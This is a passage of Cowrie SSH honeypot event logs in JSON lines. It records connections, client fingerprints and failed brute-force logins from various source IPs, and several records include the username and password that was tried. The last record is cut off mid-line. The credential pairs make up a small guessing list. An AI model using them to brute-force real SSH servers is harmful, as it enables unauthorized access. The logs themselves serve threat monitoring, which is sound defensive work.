{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:25.261181Z","src_ip":"103.75.199.4","session":"a733adcd2477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":35740,"dst_ip":"159.203.135.109","dst_port":22,"session":"7847efb611a0","protocol":"ssh","message":"New connection: 162.243.147.237:35740 (159.203.135.109:22) [session: 7847efb611a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:26.589111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:26.593861Z","src_ip":"162.243.147.237","session":"7847efb611a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:26.658380Z","src_ip":"162.243.147.237","session":"7847efb611a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2059","message":"login attempt [root/2059] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:26.948322Z","src_ip":"162.243.147.237","session":"7847efb611a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:28.015619Z","src_ip":"162.243.147.237","session":"7847efb611a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57704,"dst_ip":"10.17.0.5","dst_port":22,"session":"c933e36e3ffa","protocol":"ssh","message":"New connection: 43.163.119.215:57704 (10.17.0.5:22) [session: c933e36e3ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:36.373346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:36.378451Z","src_ip":"43.163.119.215","session":"c933e36e3ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:36.624500Z","src_ip":"43.163.119.215","session":"c933e36e3ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:37.360684Z","src_ip":"43.163.119.215","session":"c933e36e3ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:38.609536Z","src_ip":"43.163.119.215","session":"c933e36e3ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34756,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97b1fb11b2c","protocol":"ssh","message":"New connection: 80.94.92.182:34756 (10.17.0.5:22) [session: b97b1fb11b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:40.190893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:40.272865Z","src_ip":"80.94.92.182","session":"b97b1fb11b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:40.319488Z","src_ip":"80.94.92.182","session":"b97b1fb11b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"p@ssw0rd","message":"login attempt [solana/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:41.223041Z","src_ip":"80.94.92.182","session":"b97b1fb11b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:42.348499Z","src_ip":"80.94.92.182","session":"b97b1fb11b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43874,"dst_ip":"159.203.135.109","dst_port":22,"session":"db0f3b2f1da9","protocol":"ssh","message":"New connection: 103.75.199.4:43874 (159.203.135.109:22) [session: db0f3b2f1da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:45.661029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:45.665882Z","src_ip":"103.75.199.4","session":"db0f3b2f1da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:45.756802Z","src_ip":"103.75.199.4","session":"db0f3b2f1da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:46.030376Z","src_ip":"103.75.199.4","session":"db0f3b2f1da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:47.124968Z","src_ip":"103.75.199.4","session":"db0f3b2f1da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":55968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b24e0a7be9b","protocol":"ssh","message":"New connection: 163.7.9.84:55968 (10.17.0.5:22) [session: 9b24e0a7be9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:48.151602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:48.155929Z","src_ip":"163.7.9.84","session":"9b24e0a7be9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:48.408594Z","src_ip":"163.7.9.84","session":"9b24e0a7be9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lover","message":"login attempt [root/lover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:49.453230Z","src_ip":"163.7.9.84","session":"9b24e0a7be9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:50.708612Z","src_ip":"163.7.9.84","session":"9b24e0a7be9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d094d7948b","protocol":"ssh","message":"New connection: 43.163.119.215:57708 (10.17.0.5:22) [session: f5d094d7948b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:52.056239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:52.060362Z","src_ip":"43.163.119.215","session":"f5d094d7948b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:52.306119Z","src_ip":"43.163.119.215","session":"f5d094d7948b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:53.044911Z","src_ip":"43.163.119.215","session":"f5d094d7948b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:54.294127Z","src_ip":"43.163.119.215","session":"f5d094d7948b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":56774,"dst_ip":"10.17.0.5","dst_port":22,"session":"6695857726ab","protocol":"ssh","message":"New connection: 205.209.121.72:56774 (10.17.0.5:22) [session: 6695857726ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:55.103308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:55.108580Z","src_ip":"205.209.121.72","session":"6695857726ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:55.113650Z","src_ip":"205.209.121.72","session":"6695857726ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cedric123","message":"login attempt [root/cedric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:55.166145Z","src_ip":"205.209.121.72","session":"6695857726ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:56.175123Z","src_ip":"205.209.121.72","session":"6695857726ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34168,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a82c1d1318","protocol":"ssh","message":"New connection: 103.75.199.4:34168 (159.203.135.109:22) [session: 42a82c1d1318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:07.574795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:07.579744Z","src_ip":"103.75.199.4","session":"42a82c1d1318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:07.675359Z","src_ip":"103.75.199.4","session":"42a82c1d1318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:07.962611Z","src_ip":"103.75.199.4","session":"42a82c1d1318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":54638,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a2f21846248","protocol":"ssh","message":"New connection: 43.153.46.75:54638 (159.203.135.109:22) [session: 6a2f21846248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.004124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.013961Z","src_ip":"43.153.46.75","session":"6a2f21846248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-